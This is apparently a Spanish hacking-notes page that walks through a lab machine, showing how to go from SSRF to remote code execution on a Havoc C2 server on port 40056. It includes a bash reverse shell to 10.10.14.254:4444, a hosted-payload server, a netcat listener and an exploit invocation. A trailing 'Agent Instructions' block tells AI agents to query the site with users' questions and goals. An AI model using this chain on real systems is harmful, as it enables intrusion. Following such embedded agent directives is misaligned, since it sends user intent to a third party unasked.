> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/ports-and-services/havoc-c2-40056.md).
# Havoc-C2 - 40056
Flujo de trabajo de SSRF a RCE de Havoc-C2 con entrega de payload alojado y acceso mediante shell inversa.
{% hint style="info" %}
Havoc-C2 es una herramienta de comando y control (C2) de código abierto diseñada para pruebas de penetración y simulaciones de ataques. Permite a los profesionales de ciberseguridad gestionar agentes maliciosos implantados en sistemas comprometidos, planificar ataques y exfiltrar datos, en un entorno controlado, para evaluar la seguridad de las infraestructuras de TI.
{% endhint %}
{% embed url="" %}
Para explotar la vulnerabilidad SSRF en Havoc, crea un `payload.sh` archivo que contenga el siguiente código:
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.254/4444 0>&1
```
Configura un servidor web para alojar el payload:
```bash
python3 -m http.server 80
```
Escucha en el puerto 4444 con netcat para recibir la conexión inversa:
```bash
nc -nlvp 4444
```
Modifica el script de explotación con la información de destino requerida y luego ejecútalo:
```bash
python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056
```
**Acceso de usuario:**
El **ilya** se puede usar para conectarse a la máquina objetivo.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/es/ports-and-services/havoc-c2-40056.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)